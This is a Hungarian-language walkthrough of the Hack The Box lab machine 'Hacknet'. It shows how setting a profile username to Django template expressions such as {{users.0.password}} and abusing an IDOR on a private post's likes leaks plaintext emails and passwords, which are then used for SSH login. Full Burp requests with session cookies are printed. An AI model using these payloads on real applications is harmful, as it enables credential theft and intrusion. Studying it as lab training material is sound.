Hacknet — Hack The Box
Platform: Linux
IP: 10.129.109.173
Difficulty: Medium
Author: NoSec
mélyebbre mennél? csatlakozz a backdoor crew-hoz és kapj exkluzív videókat & korai hozzáférést a root chainekhez.
💀 csatlakozz a backdoor crew-hozRecon (röviden)
nmap -sVC hacknet.htb
22/tcp
– OpenSSH 9.2p1 (Debian 12)80/tcp
– nginx 1.22.1 → webapp: HackNet (Django)
Tedd a domaint a hosts-ba:
10.129.109.173 hacknet.htb
Vuln chain: IDOR + SSTI → email & jelszó dump (Burp)
A webappban a like funkció IDOR-szerűen elérhető privát posztra is, és a likes listában a likelők profilképe <img title="...">
attribútumban a felhasználónevet jeleníti meg.
Cél poszt
- Privát poszt ID: 23 (backdoor_bandit)
Lépések
1) Username átállítása template-re
- Böngészőben menj: http://hacknet.htb/profile/edit
- Írd be Username mezőbe:
- Email leakhez: {{users.0.email}}
- Jelszó leakhez: {{users.0.password}}
- Save (vagy csináld ugyanezt Burp Intercept → módosítsd a username
mezőt a POST /profile/edit
kérésben).
2) Like-old a privát posztot (azonos sessionben!)
- Burp Repeater-ben küldd el (fontos a X-Requested-With: XMLHttpRequest
és a saját cookieid):
GET /like/23 HTTP/1.1
Host: hacknet.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://hacknet.htb/profile/18
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Cookie: csrftoken=Sajat-Token; sessionid=Sajat-Token
Priority: u=0
Content-Length: 10
3) Listázd a likelőket ugyanazzal a sessionnel:
GET /likes/23 HTTP/1.1
Host: hacknet.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://hacknet.htb/profile/18
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Cookie: csrftoken=0P85nKc4gSutHANVb1kpgzTY1OrN3q6V; sessionid=42bkdg22b55on7vi992n3m78jx991vi0
Priority: u=0
Content-Length: 10
4) Olvasd ki az eredményt
- A válasz egy HTML darab, több ilyesmi elemmel:
html
<div class="likes-review-item">
<a href="/profile/27"><img src="/media/profile.png" title="ITT LESZ A RENDERELT EMAIL"></a>
</div>
- A saját profilodhoz tartozó <img ... title="...">
mezőben megjelenik a template kimenete:
- Ha a username {{users.0.email}}
volt → email jelenik meg
- Ha a username {{users.0.password}}
volt → jelszó (itt plaintext, nem hash)
Megjegyzés: ha üres a
title
, ellenőrizd, hogy biztosan like-oltad a posztot (ha kell, küldd el a/like/23
-at még egyszer), és ugyanazzal a sessionnel nézed a/likes/23
-at. A listában keresd a saját profil ID-det (pl./profile/27
).
SSH bejelentkezés
Miután megvan a target email + jelszó, simán próbáld SSH-n:
ssh <username>@hacknet.htb
# password: <a likes/23-ból megszerzett plaintext jelszó>
TL;DR
- Username mezőbe SSTI:
{{users.0.email}}
→/like/23
→/likes/23
→ email a saját entrytitle
attribútumában. - Csere:
{{users.0.password}}
→ ismét/like/23
→/likes/23
→ plaintext jelszó atitle
-ben. - SSH: email/jelszó párossal belépés → user.
🔐 A root rész csak a privát Telegram csoportban érhető el, amíg a gép aktív.
👉 Csatlakozz a teljes writeupért, extra tippekért és belsős tartalmakért:
📡 https://t.me/nosecpwn
☕ hívj meg egy kávéra, hogy ne aludjak el a következő writeup írása közben
💻 támogasd a nosec-et